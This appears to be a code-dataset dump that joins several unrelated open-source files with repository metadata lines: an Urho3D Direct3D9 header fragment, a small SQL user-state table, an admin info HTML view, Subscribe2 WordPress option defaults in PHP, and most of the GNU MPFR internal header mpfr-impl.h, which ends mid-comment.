D3DDEVTYPE deviceType_;
/// Device capabilities.
D3DCAPS9 deviceCaps_;
/// Adapter identifier.
D3DADAPTER_IDENTIFIER9 adapterIdentifier_;
/// Direct3D presentation parameters.
D3DPRESENT_PARAMETERS presentParams_;
/// Texture min filter modes in use.
D3DTEXTUREFILTERTYPE minFilters_[MAX_TEXTURE_UNITS];
/// Texture mag filter modes in use.
D3DTEXTUREFILTERTYPE magFilters_[MAX_TEXTURE_UNITS];
/// Texture mip filter modes in use.
D3DTEXTUREFILTERTYPE mipFilters_[MAX_TEXTURE_UNITS];
/// Texture U coordinate addressing modes in use.
D3DTEXTUREADDRESS uAddressModes_[MAX_TEXTURE_UNITS];
/// Texture V coordinate addressing modes in use.
D3DTEXTUREADDRESS vAddressModes_[MAX_TEXTURE_UNITS];
/// Texture W coordinate addressing modes in use.
D3DTEXTUREADDRESS wAddressModes_[MAX_TEXTURE_UNITS];
/// Texture anisotropy setting in use.
unsigned maxAnisotropy_[MAX_TEXTURE_UNITS];
/// Texture border colors in use.
Color borderColors_[MAX_TEXTURE_UNITS];
/// Device lost flag.
bool deviceLost_;
/// Frame query issued flag.
bool queryIssued_;
/// sRGB mode in use.
bool sRGBModes_[MAX_TEXTURE_UNITS];
/// sRGB write flag.
bool sRGBWrite_;
/// Color surfaces in use.
IDirect3DSurface9* colorSurfaces_[MAX_RENDERTARGETS];
/// Depth-stencil surface in use.
IDirect3DSurface9* depthStencilSurface_;
/// Blending enabled flag.
DWORD blendEnable_;
/// Source blend mode.
D3DBLEND srcBlend_;
/// Destination blend mode.
D3DBLEND destBlend_;
/// Blend operation.
D3DBLENDOP blendOp_;
/// Vertex declarations.
VertexDeclarationMap vertexDeclarations_;
/// Stream frequencies by vertex buffer.
unsigned streamFrequencies_[MAX_VERTEX_STREAMS];
/// Stream offsets by vertex buffer.
unsigned streamOffsets_[MAX_VERTEX_STREAMS];
/// Vertex declaration in use.
VertexDeclaration* vertexDeclaration_;
/// Shader programs.
ShaderProgramMap shaderPrograms_;
/// Shader program in use.
ShaderProgram* shaderProgram_;
};
}
| cyberix3d/Cyberix3D | Source/Urho3D/Graphics/Direct3D9/D3D9GraphicsImpl.h | C | gpl-3.0 | 4,987 |
CREATE TABLE `UserState`(
`StateId` NVARCHAR(64) NOT NULL UNIQUE,
`Description` NVARCHAR(512),
PRIMARY KEY(`StateId`)
);
INSERT INTO `UserState`
VALUES
('Active','Пользователь активен'),
('Bloked','Пользователь заблокирован'); | FeyverkSoft/SmartHome | DB/Tables/UserState.sql | SQL | gpl-3.0 | 313 |
<!-- Admin info view -->
<!-- Title -->
<h2 class="accordion-toggle chevron">
<!-- Toggle -->
<button type="button" aria-expanded="false" bb-accordion>
<span>
<i class="fas fa-info-circle fa-fw"></i> {{_t('info')}}
</span>
</button>
</h2>
<!-- Content -->
<div class="accordion" hidden>
<div class="form form-inline form-page">
<div class="fieldset">
<h3>{{_t('software_info')}}</h3>
<table class="table table-report">
<tbody>
<tr>
<td>{{_t('firmware_version')}}</td>
<td class="td20">{{controllerInfo.softwareRevisionVersion}}</td>
</tr>
<tr>
<td>{{_t('ui_version')}}</td>
<td class="td20">{{cfg.app_version}}</td>
</tr>
<tr>
<td>{{_t('built_date')}}</td>
<td class="td20">{{builtInfo.built}}</td>
</tr>
<tr>
<td>{{_t('ctrl_info_caps_cap_title')}}</td>
<td class="td20">{{controllerInfo.capabillities}}</td>
</tr>
</tbody>
</table>
</div>
<div class="fieldset">
<h3>{{_t('translation')}}</h3>
<div>
{{_t('management_trans_info')}}
</div>
</div>
</div>
</div> | Z-Wave-Me/zwave-smarthome | app/views/management/management_info.html | HTML | gpl-3.0 | 1,235 |
<?php
// include.php - Handles options for subscribe2
// DO NOT EDIT THIS FILE AS IT IS SET BY THE OPTIONS PAGE
if (!isset($this->subscribe2_options['autosub'])) {
$this->subscribe2_options['autosub'] = "no";
} // option to autosubscribe registered users to new categories
if (!isset($this->subscribe2_options['newreg_override'])) {
$this->subscribe2_options['newreg_override'] = "no";
} // option to autosubscribe registered users to new categories
if (!isset($this->subscribe2_options['wpregdef'])) {
$this->subscribe2_options['wpregdef'] = "no";
} // option to check registration form box by default
if (!isset($this->subscribe2_options['autoformat'])) {
$this->subscribe2_options['autoformat'] = "post";
} // option for default auto-subscription email format
if (!isset($this->subscribe2_options['show_autosub'])) {
$this->subscribe2_options['show_autosub'] = "yes";
} // option to display auto-subscription option to registered users
if (!isset($this->subscribe2_options['autosub_def'])) {
$this->subscribe2_options['autosub_def'] = "yes";
} // option for user default auto-subscription to new categories
if (!isset($this->subscribe2_options['comment_subs'])) {
$this->subscribe2_options['comment_subs'] = "no";
} // option for commenters to subscribe as public subscribers
if (!isset($this->subscribe2_options['comment_def'])) {
$this->subscribe2_options['comment_def'] = "no";
} // option for comments box to be checked by default
if (!isset($this->subscribe2_options['one_click_profile'])) {
$this->subscribe2_options['one_click_profile'] = "no";
} // option for displaying 'one-click' option on profile page
if (!isset($this->subscribe2_options['bcclimit'])) {
$this->subscribe2_options['bcclimit'] = 1;
} // option for default bcc limit on email notifications
if (!isset($this->subscribe2_options['admin_email'])) {
$this->subscribe2_options['admin_email'] = "subs";
} // option for sending new subscriber notifications to admins
if (!isset($this->subscribe2_options['tracking'])) {
$this->subscribe2_options['tracking'] = "";
} // option for tracking
if (!isset($this->subscribe2_options['s2page'])) {
$this->subscribe2_options['s2page'] = 0;
} // option for default WordPress page for Subscribe2 to use
if (!isset($this->subscribe2_options['stylesheet'])) {
$this->subscribe2_options['stylesheet'] = "yes";
} // option to include link to theme stylesheet from HTML notifications
if (!isset($this->subscribe2_options['pages'])) {
$this->subscribe2_options['pages'] = "no";
} // option for sending notifications for WordPress pages
if (!isset($this->subscribe2_options['password'])) {
$this->subscribe2_options['password'] = "no";
} // option for sending notifications for posts that are password protected
if (!isset($this->subscribe2_options['stickies'])) {
$this->subscribe2_options['stickies'] = "no";
} // option for including sticky posts in digest notifications
if (!isset($this->subscribe2_options['private'])) {
$this->subscribe2_options['private'] = "no";
} // option for sending notifications for posts that are private
if (!isset($this->subscribe2_options['email_freq'])) {
$this->subscribe2_options['email_freq'] = "never";
} // option for sending emails per-post or as a digest email on a cron schedule
if (!isset($this->subscribe2_options['cron_order'])) {
$this->subscribe2_options['cron_order'] = "desc";
} // option for ordering of posts in digest email
if (!isset($this->subscribe2_options['compulsory'])) {
$this->subscribe2_options['compulsory'] = "";
} // option for compulsory categories
if (!isset($this->subscribe2_options['exclude'])) {
$this->subscribe2_options['exclude'] = "";
} // option for excluded categories
if (!isset($this->subscribe2_options['sender'])) {
$this->subscribe2_options['sender'] = "blogname";
} // option for email notification sender
if (!isset($this->subscribe2_options['reg_override'])) {
$this->subscribe2_options['reg_override'] = "1";
} // option for excluded categories to be overriden for registered users
if (!isset($this->subscribe2_options['show_meta'])) {
$this->subscribe2_options['show_meta'] = "0";
} // option to display link to subscribe2 page from 'meta'
if (!isset($this->subscribe2_options['show_button'])) {
$this->subscribe2_options['show_button'] = "1";
} // option to show Subscribe2 button on Write page
if (!isset($this->subscribe2_options['ajax'])) {
$this->subscribe2_options['ajax'] = "0";
} // option to enable an AJAX style form
if (!isset($this->subscribe2_options['widget'])) {
$this->subscribe2_options['widget'] = "1";
} // option to enable Subscribe2 Widget
if (!isset($this->subscribe2_options['counterwidget'])) {
$this->subscribe2_options['counterwidget'] = "0";
} // option to enable Subscribe2 Counter Widget
if (!isset($this->subscribe2_options['s2meta_default'])) {
$this->subscribe2_options['s2meta_default'] = "0";
} // option for Subscribe2 over ride postmeta to be checked by default
if (!isset($this->subscribe2_options['entries'])) {
$this->subscribe2_options['entries'] = 25;
} // option for the number of subscribers displayed on each page
if (!isset($this->subscribe2_options['barred'])) {
$this->subscribe2_options['barred'] = "";
} // option containing domains barred from public registration
if (!isset($this->subscribe2_options['exclude_formats'])) {
$this->subscribe2_options['exclude_formats'] = "";
} // option for excluding post formats as supported by the current theme
if (!isset($this->subscribe2_options['mailtext'])) {
$this->subscribe2_options['mailtext'] = __("{BLOGNAME} has posted a new item, '{TITLE}'\n\n{POST}\n\nYou may view the latest post at\n{PERMALINK}\n\nYou received this e-mail because you asked to be notified when new updates are posted.\nBest regards,\n{MYNAME}\n{EMAIL}", "subscribe2");
} // Default notification email text
if (!isset($this->subscribe2_options['notification_subject'])) {
$this->subscribe2_options['notification_subject'] = "[{BLOGNAME}] {TITLE}";
} // Default notification email subject
if (!isset($this->subscribe2_options['confirm_email'])) {
$this->subscribe2_options['confirm_email'] = __("{BLOGNAME} has received a request to {ACTION} for this email address. To complete your request please click on the link below:\n\n{LINK}\n\nIf you did not request this, please feel free to disregard this notice!\n\nThank you,\n{MYNAME}.", "subscribe2");
} // Default confirmation email text
if (!isset($this->subscribe2_options['confirm_subject'])) {
$this->subscribe2_options['confirm_subject'] = "[{BLOGNAME}] " . __('Please confirm your request', 'subscribe2');
} // Default confirmation email subject
if (!isset($this->subscribe2_options['remind_email'])) {
$this->subscribe2_options['remind_email'] = __("This email address was subscribed for notifications at {BLOGNAME} ({BLOGLINK}) but the subscription remains incomplete.\n\nIf you wish to complete your subscription please click on the link below:\n\n{LINK}\n\nIf you do not wish to complete your subscription please ignore this email and your address will be removed from our database.\n\nRegards,\n{MYNAME}", "subscribe2");
} // Default reminder email text
if (!isset($this->subscribe2_options['remind_subject'])) {
$this->subscribe2_options['remind_subject'] = "[{BLOGNAME}] " . __('Subscription Reminder', 'subscribe2');;
} // Default reminder email subject
?> | Signl/subscribe2 | include/options.php | PHP | gpl-3.0 | 7,366 |
/* Utilities for MPFR developers, not exported.
Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software Foundation, Inc.
Contributed by the Arenaire and Caramel projects, INRIA.
This file is part of the GNU MPFR Library.
The GNU MPFR Library is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 3 of the License, or (at your
option) any later version.
The GNU MPFR Library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
License for more details.
You should have received a copy of the GNU Lesser General Public License
along with the GNU MPFR Library; see the file COPYING.LESSER. If not, see
http://www.gnu.org/licenses/ or write to the Free Software Foundation, Inc.,
51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA. */
#ifndef __MPFR_IMPL_H__
#define __MPFR_IMPL_H__
/* Let's include some standard headers unconditionally as they are
already needed by several source files or when some options are
enabled/disabled, and it is easy to forget them (some configure
options may hide the error).
Note: If some source file must not have such a header included
(which is very unlikely and probably means something broken in
this source file), we should do that with some macro (that would
also force to disable incompatible features). */
#if defined (__cplusplus)
#include <cstdio>
#include <cstring>
#else
#include <stdio.h>
#include <string.h>
#endif
#include <limits.h>
#if _MPFR_EXP_FORMAT == 4
/* mpfr_exp_t will be defined as intmax_t */
# include "mpfr-intmax.h"
#endif
/* Check if we are inside a build of MPFR or inside the test suite.
This is needed in mpfr.h to export or import the functions.
It matters only for Windows DLL */
#ifndef __MPFR_TEST_H__
# define __MPFR_WITHIN_MPFR 1
#endif
/******************************************************
****************** Include files *********************
******************************************************/
/* Include 'config.h' before using ANY configure macros if needed
NOTE: It isn't MPFR 'config.h', but GMP's one! */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#ifdef MPFR_HAVE_GMP_IMPL /* Build with gmp internals*/
# ifndef __GMP_H__
# include "gmp.h"
# endif
# ifndef __GMP_IMPL_H__
# include "gmp-impl.h"
# endif
# ifdef MPFR_NEED_LONGLONG_H
# include "longlong.h"
# endif
# ifndef __MPFR_H
# include "mpfr.h"
# endif
#else /* Build without gmp internals */
# ifndef __GMP_H__
# include "gmp.h"
# endif
# ifndef __MPFR_H
# include "mpfr.h"
# endif
# ifndef __GMPFR_GMP_H__
# include "mpfr-gmp.h"
# endif
# ifdef MPFR_NEED_LONGLONG_H
# define LONGLONG_STANDALONE
# include "mpfr-longlong.h"
# endif
#endif
#undef MPFR_NEED_LONGLONG_H
/* If a mpn_sqr_n macro is not defined, use mpn_mul. GMP 4.x defines a
mpn_sqr_n macro in gmp-impl.h (and this macro disappeared in GMP 5),
so that GMP's macro can only be used when MPFR has been configured
with --with-gmp-build (and only with GMP 4.x). */
#ifndef mpn_sqr_n
# define mpn_sqr_n(dst,src,n) mpn_mul((dst),(src),(n),(src),(n))
#endif
/* For the definition of MPFR_THREAD_ATTR. GCC/ICC detection macros are
no longer used, as they sometimes gave incorrect information about
the support of thread-local variables. A configure check is now done.
If the use of detection macros is needed in the future, this could be
moved below (after the detection macros are defined). */
#include "mpfr-thread.h"
/******************************************************
***************** Detection macros *******************
******************************************************/
/* Macros to detect STDC, GCC, GLIBC, GMP and ICC version */
#if defined(__STDC_VERSION__)
# define __MPFR_STDC(version) (__STDC_VERSION__>=(version))
#elif defined(__STDC__)
# define __MPFR_STDC(version) (0 == (version))
#else
# define __MPFR_STDC(version) 0
#endif
#if defined(_WIN32)
/* Under MS Windows (e.g. with VS2008 or VS2010), Intel's compiler doesn't
support/enable extensions like the ones seen under GNU/Linux.
http://websympa.loria.fr/wwsympa/arc/mpfr/2011-02/msg00032.html */
# define __MPFR_ICC(a,b,c) 0
#elif defined(__ICC)
# define __MPFR_ICC(a,b,c) (__ICC >= (a)*100+(b)*10+(c))
#elif defined(__INTEL_COMPILER)
# define __MPFR_ICC(a,b,c) (__INTEL_COMPILER >= (a)*100+(b)*10+(c))
#else
# define __MPFR_ICC(a,b,c) 0
#endif
#if defined(__GNUC__) && defined(__GNUC_MINOR__) && ! __MPFR_ICC(0,0,0)
# define __MPFR_GNUC(a,i) \
(MPFR_VERSION_NUM(__GNUC__,__GNUC_MINOR__,0) >= MPFR_VERSION_NUM(a,i,0))
#else
# define __MPFR_GNUC(a,i) 0
#endif
#if defined(__GLIBC__) && defined(__GLIBC_MINOR__)
# define __MPFR_GLIBC(a,i) \
(MPFR_VERSION_NUM(__GLIBC__,__GLIBC_MINOR__,0) >= MPFR_VERSION_NUM(a,i,0))
#else
# define __MPFR_GLIBC(a,i) 0
#endif
#if defined(__GNU_MP_VERSION) && \
defined(__GNU_MP_VERSION_MINOR) && \
defined(__GNU_MP_VERSION_PATCHLEVEL)
# define __MPFR_GMP(a,b,c) \
(MPFR_VERSION_NUM(__GNU_MP_VERSION,__GNU_MP_VERSION_MINOR,__GNU_MP_VERSION_PATCHLEVEL) >= MPFR_VERSION_NUM(a,b,c))
#else
# define __MPFR_GMP(a,b,c) 0
#endif
/******************************************************
************* GMP Basic Pointer Types ****************
******************************************************/
typedef mp_limb_t *mpfr_limb_ptr;
typedef __gmp_const mp_limb_t *mpfr_limb_srcptr;
/******************************************************
****************** (U)INTMAX_MAX *********************
******************************************************/
/* Let's try to fix UINTMAX_MAX and INTMAX_MAX if these macros don't work
(e.g. with gcc -ansi -pedantic-errors in 32-bit mode under GNU/Linux),
see <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=582698>. */
#ifdef _MPFR_H_HAVE_INTMAX_T
# ifdef MPFR_HAVE_INTMAX_MAX
# define MPFR_UINTMAX_MAX UINTMAX_MAX
# define MPFR_INTMAX_MAX INTMAX_MAX
# define MPFR_INTMAX_MIN INTMAX_MIN
# else
# define MPFR_UINTMAX_MAX ((uintmax_t) -1)
# define MPFR_INTMAX_MAX ((intmax_t) (MPFR_UINTMAX_MAX >> 1))
# define MPFR_INTMAX_MIN (INT_MIN + INT_MAX - MPFR_INTMAX_MAX)
# endif
#endif
/******************************************************
******************** Check GMP ***********************
******************************************************/
#if !__MPFR_GMP(4,1,0)
# error "GMP 4.1.0 or newer needed"
#endif
#if GMP_NAIL_BITS != 0
# error "MPFR doesn't support nonzero values of GMP_NAIL_BITS"
#endif
#if (GMP_NUMB_BITS<32) || (GMP_NUMB_BITS & (GMP_NUMB_BITS - 1))
# error "GMP_NUMB_BITS must be a power of 2, and >= 32"
#endif
#if GMP_NUMB_BITS == 16
# define MPFR_LOG2_GMP_NUMB_BITS 4
#elif GMP_NUMB_BITS == 32
# define MPFR_LOG2_GMP_NUMB_BITS 5
#elif GMP_NUMB_BITS == 64
# define MPFR_LOG2_GMP_NUMB_BITS 6
#elif GMP_NUMB_BITS == 128
# define MPFR_LOG2_GMP_NUMB_BITS 7
#elif GMP_NUMB_BITS == 256
# define MPFR_LOG2_GMP_NUMB_BITS 8
#else
# error "Can't compute log2(GMP_NUMB_BITS)"
#endif
#if __MPFR_GNUC(3,0) || __MPFR_ICC(8,1,0)
/* For the future: N1478: Supporting the 'noreturn' property in C1x
http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1478.htm */
# define MPFR_NORETURN_ATTR __attribute__ ((noreturn))
# define MPFR_CONST_ATTR __attribute__ ((const))
#else
# define MPFR_NORETURN_ATTR
# define MPFR_CONST_ATTR
#endif
/******************************************************
************* Global Internal Variables **************
******************************************************/
/* Cache struct */
struct __gmpfr_cache_s {
mpfr_t x;
int inexact;
int (*func)(mpfr_ptr, mpfr_rnd_t);
};
typedef struct __gmpfr_cache_s mpfr_cache_t[1];
typedef struct __gmpfr_cache_s *mpfr_cache_ptr;
#if defined (__cplusplus)
extern "C" {
#endif
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR unsigned int __gmpfr_flags;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_exp_t __gmpfr_emin;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_exp_t __gmpfr_emax;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_prec_t __gmpfr_default_fp_bit_precision;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_rnd_t __gmpfr_default_rounding_mode;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_cache_const_euler;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_cache_const_catalan;
#ifndef MPFR_USE_LOGGING
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_cache_const_pi;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_cache_const_log2;
#else
/* Two constants are used by the logging functions (via mpfr_fprintf,
then mpfr_log, for the base conversion): pi and log(2). Since the
mpfr_cache function isn't re-entrant when working on the same cache,
we need to define two caches for each constant. */
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_normal_pi;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_normal_log2;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_logging_pi;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_t __gmpfr_logging_log2;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_ptr __gmpfr_cache_const_pi;
__MPFR_DECLSPEC extern MPFR_THREAD_ATTR mpfr_cache_ptr __gmpfr_cache_const_log2;
#endif
#define BASE_MAX 62
__MPFR_DECLSPEC extern const __mpfr_struct __gmpfr_l2b[BASE_MAX-1][2];
/* Note: do not use the following values when they can be outside the
current exponent range, e.g. when the exponent range has not been
extended yet; under such a condition, they can be used only in
mpfr_cmpabs. */
__MPFR_DECLSPEC extern const mpfr_t __gmpfr_one;
__MPFR_DECLSPEC extern const mpfr_t __gmpfr_two;
__MPFR_DECLSPEC extern const mpfr_t __gmpfr_four;
#if defined (__cplusplus)
}
#endif
/* Flags of __gmpfr_flags */
#define MPFR_FLAGS_UNDERFLOW 1
#define MPFR_FLAGS_OVERFLOW 2
#define MPFR_FLAGS_NAN 4
#define MPFR_FLAGS_INEXACT 8
#define MPFR_FLAGS_ERANGE 16
#define MPFR_FLAGS_DIVBY0 32
#define MPFR_FLAGS_ALL 63
/* Replace some common functions for direct access to the global vars */
#define mpfr_get_emin() (__gmpfr_emin + 0)
#define mpfr_get_emax() (__gmpfr_emax + 0)
#define mpfr_get_default_rounding_mode() (__gmpfr_default_rounding_mode + 0)
#define mpfr_get_default_prec() (__gmpfr_default_fp_bit_precision + 0)
#define mpfr_clear_flags() \
((void) (__gmpfr_flags = 0))
#define mpfr_clear_underflow() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_UNDERFLOW))
#define mpfr_clear_overflow() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_OVERFLOW))
#define mpfr_clear_nanflag() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_NAN))
#define mpfr_clear_inexflag() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_INEXACT))
#define mpfr_clear_erangeflag() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_ERANGE))
#define mpfr_clear_divby0() \
((void) (__gmpfr_flags &= MPFR_FLAGS_ALL ^ MPFR_FLAGS_DIVBY0))
#define mpfr_underflow_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_UNDERFLOW))
#define mpfr_overflow_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_OVERFLOW))
#define mpfr_nanflag_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_NAN))
#define mpfr_inexflag_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_INEXACT))
#define mpfr_erangeflag_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_ERANGE))
#define mpfr_divby0_p() \
((int) (__gmpfr_flags & MPFR_FLAGS_DIVBY0))
/* Testing an exception flag correctly is tricky. There are mainly two
pitfalls: First, one needs to remember to clear the corresponding
flag, in case it was set before the function call or during some
intermediate computations (in practice, one can clear all the flags).
Secondly, one needs to test the flag early enough, i.e. before it
can be modified by another function. Moreover, it is quite difficult
(if not impossible) to reliably check problems with "make check". To
avoid these pitfalls, it is recommended to use the following macros.
Other use of the exception-flag predicate functions/macros will be
detected by mpfrlint.
Note: _op can be either a statement or an expression.
MPFR_BLOCK_EXCEP should be used only inside a block; it is useful to
detect some exception in order to exit the block as soon as possible. */
#define MPFR_BLOCK_DECL(_flags) unsigned int _flags
/* The (void) (_flags) makes sure that _flags is read at least once (it
makes sense to use MPFR_BLOCK while _flags will never be read in the
source, so that we wish to avoid the corresponding warning). */
#define MPFR_BLOCK(_flags,_op) \
do \
{ \
mpfr_clear_flags (); \
_op; \
(_flags) = __gmpfr_flags; \
(void) (_flags); \
} \
while (0)
#define MPFR_BLOCK_TEST(_flags,_f) MPFR_UNLIKELY ((_flags) & (_f))
#define MPFR_BLOCK_EXCEP (__gmpfr_flags & (MPFR_FLAGS_UNDERFLOW | \
MPFR_FLAGS_OVERFLOW | \
MPFR_FLAGS_DIVBY0 | \
MPFR_FLAGS_NAN))
/* Let's use a MPFR_ prefix, because e.g. OVERFLOW is defined by glibc's
math.h, though this is not a reserved identifier! */
#define MPFR_UNDERFLOW(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_UNDERFLOW)
#define MPFR_OVERFLOW(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_OVERFLOW)
#define MPFR_NANFLAG(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_NAN)
#define MPFR_INEXFLAG(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_INEXACT)
#define MPFR_ERANGEFLAG(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_ERANGE)
#define MPFR_DIVBY0(_flags) MPFR_BLOCK_TEST (_flags, MPFR_FLAGS_DIVBY0)
/******************************************************
******************** Assertions **********************
******************************************************/
/* Compile with -DWANT_ASSERT to check all assert statements */
/* Note: do not use GMP macros ASSERT_ALWAYS and ASSERT as they are not
expressions, and as a consequence, they cannot be used in a for(),
with a comma operator and so on. */
/* MPFR_ASSERTN(expr): assertions that should always be checked */
#define MPFR_ASSERTN(expr) \
((void) ((MPFR_UNLIKELY(expr)) || MPFR_UNLIKELY( (ASSERT_FAIL(expr),0) )))
/* MPFR_ASSERTD(expr): assertions that should be checked when testing */
#ifdef WANT_ASSERT
# define MPFR_EXP_CHECK 1
# define MPFR_ASSERTD(expr) MPFR_ASSERTN (expr)
#else
# define MPFR_ASSERTD(expr) ((void) 0)
#endif
/* Code to deal with impossible
WARNING: It doesn't use do { } while (0) for Insure++*/
#define MPFR_RET_NEVER_GO_HERE() {MPFR_ASSERTN(0); return 0;}
/******************************************************
******************** Warnings ************************
******************************************************/
/* MPFR_WARNING is no longer useful, but let's keep the macro in case
it needs to be used again in the future. */
#ifdef MPFR_USE_WARNINGS
# include <stdlib.h>
# define MPFR_WARNING(W) \
do \
{ \
char *q = getenv ("MPFR_QUIET"); \
if (q == NULL || *q == 0) \
fprintf (stderr, "MPFR: %s\n", W); \
} \
while (0)
#else
# define MPFR_WARNING(W) ((void) 0)
#endif
/******************************************************
****************** double macros *********************
******************************************************/
/* Precision used for lower precision computations */
#define MPFR_SMALL_PRECISION 32
/* Definition of constants */
#define LOG2 0.69314718055994528622 /* log(2) rounded to zero on 53 bits */
#define ALPHA 4.3191365662914471407 /* a+2 = a*log(a), rounded to +infinity */
#define EXPM1 0.36787944117144227851 /* exp(-1), rounded to zero */
/* MPFR_DOUBLE_SPEC = 1 if the C type 'double' corresponds to IEEE-754
double precision, 0 if it doesn't, and undefined if one doesn't know.
On all the tested machines, MPFR_DOUBLE_SPEC = 1. To have this macro
defined here, #include <float.h> is needed. If need be, other values
could be defined for other specs (once they are known). */
#if !defined(MPFR_DOUBLE_SPEC) && defined(FLT_RADIX) && \
defined(DBL_MANT_DIG) && defined(DBL_MIN_EXP) && defined(DBL_MAX_EXP)
# if FLT_RADIX == 2 && DBL_MANT_DIG == 53 && \
DBL_MIN_EXP == -1021 && DBL_MAX_EXP == 1024
# define MPFR_DOUBLE_SPEC 1
# else
# define MPFR_DOUBLE_SPEC 0
# endif
#endif
/* Debug non IEEE floats */
#ifdef XDEBUG
# undef _GMP_IEEE_FLOATS
#endif
#ifndef _GMP_IEEE_FLOATS
# define _GMP_IEEE_FLOATS 0
#endif
#ifndef IEEE_DBL_MANT_DIG
#define IEEE_DBL_MANT_DIG 53
#endif
#define MPFR_LIMBS_PER_DOUBLE ((IEEE_DBL_MANT_DIG-1)/GMP_NUMB_BITS+1)
#ifndef IEEE_FLT_MANT_DIG
#define IEEE_FLT_MANT_DIG 24
#endif
#define MPFR_LIMBS_PER_FLT ((IEEE_FLT_MANT_DIG-1)/GMP_NUMB_BITS+1)
/* Visual C++ doesn't support +1.0/0.0, -1.0/0.0 and 0.0/0.0
at compile time. */
#if defined(_MSC_VER) && defined(_WIN32) && (_MSC_VER >= 1200)
static double double_zero = 0.0;
# define DBL_NAN (double_zero/double_zero)
# define DBL_POS_INF ((double) 1.0/double_zero)
# define DBL_NEG_INF ((double)-1.0/double_zero)
# define DBL_NEG_ZERO (-double_zero)
#else
# define DBL_POS_INF ((double) 1.0/0.0)
# define DBL_NEG_INF ((double)-1.0/0.0)
# define DBL_NAN ((double) 0.0/0.0)
# define DBL_NEG_ZERO (-0.0)
#endif
/* Note: In the past, there was specific code for _GMP_IEEE_FLOATS, which
was based on NaN and Inf memory representations. This code was breaking
the aliasing rules (see ISO C99, 6.5#6 and 6.5#7 on the effective type)
and for this reason it did not behave correctly with GCC 4.5.0 20091119.
The code needed a memory transfer and was probably not better than the
macros below with a good compiler (a fix based on the NaN / Inf memory
representation would be even worse due to C limitations), and this code
could be selected only when MPFR was built with --with-gmp-build, thus
introducing a difference (bad for maintaining/testing MPFR); therefore
it has been removed. The old code required that the argument x be an
lvalue of type double. We still require that, in case one would need
to change the macros below, e.g. for some broken compiler. But the
LVALUE(x) condition could be removed if really necessary. */
/* Below, the &(x) == &(x) || &(x) != &(x) allows to make sure that x
is a lvalue without (probably) any warning from the compiler. The
&(x) != &(x) is needed to avoid a failure under Mac OS X 10.4.11
(with Xcode 2.4.1, i.e. the latest one). */
#define LVALUE(x) (&(x) == &(x) || &(x) != &(x))
#define DOUBLE_ISINF(x) (LVALUE(x) && ((x) > DBL_MAX || (x) < -DBL_MAX))
#ifdef MPFR_NANISNAN
/* Avoid MIPSpro / IRIX64 / gcc -ffast-math (incorrect) optimizations.
The + must not be replaced by a ||. With gcc -ffast-math, NaN is
regarded as a positive number or something like that; the second
test catches this case. */
# define DOUBLE_ISNAN(x) \
(LVALUE(x) && !((((x) >= 0.0) + ((x) <= 0.0)) && -(x)*(x) <= 0.0))
#else
# define DOUBLE_ISNAN(x) (LVALUE(x) && (x) != (x))
#endif
/******************************************************
*************** Long double macros *******************
******************************************************/
/* We try to get the exact value of the precision of long double
(provided by the implementation) in order to provide correct
rounding in this case (not guaranteed if the C implementation
does not have an adequate long double arithmetic). Note that
it may be lower than the precision of some numbers that can
be represented in a long double; e.g. on FreeBSD/x86, it is
53 because the processor is configured to round in double
precision (even when using the long double type -- this is a
limitation of the x87 arithmetic), and on Mac OS X, it is 106
because the implementation is a double-double arithmetic.
Otherwise (e.g. in base 10), we get an upper bound of the
precision, and correct rounding isn't currently provided.
*/
#if defined(LDBL_MANT_DIG) && FLT_RADIX == 2
# define MPFR_LDBL_MANT_DIG LDBL_MANT_DIG
#else
# define MPFR_LDBL_MANT_DIG \
(sizeof(long double)*GMP_NUMB_BITS/sizeof(mp_limb_t))
#endif
#define MPFR_LIMBS_PER_LONG_DOUBLE \
((sizeof(long double)-1)/sizeof(mp_limb_t)+1)
/* LONGDOUBLE_NAN_ACTION executes the code "action" if x is a NaN. */
/* On hppa2.0n-hp-hpux10 with the unbundled HP cc, the test x!=x on a NaN
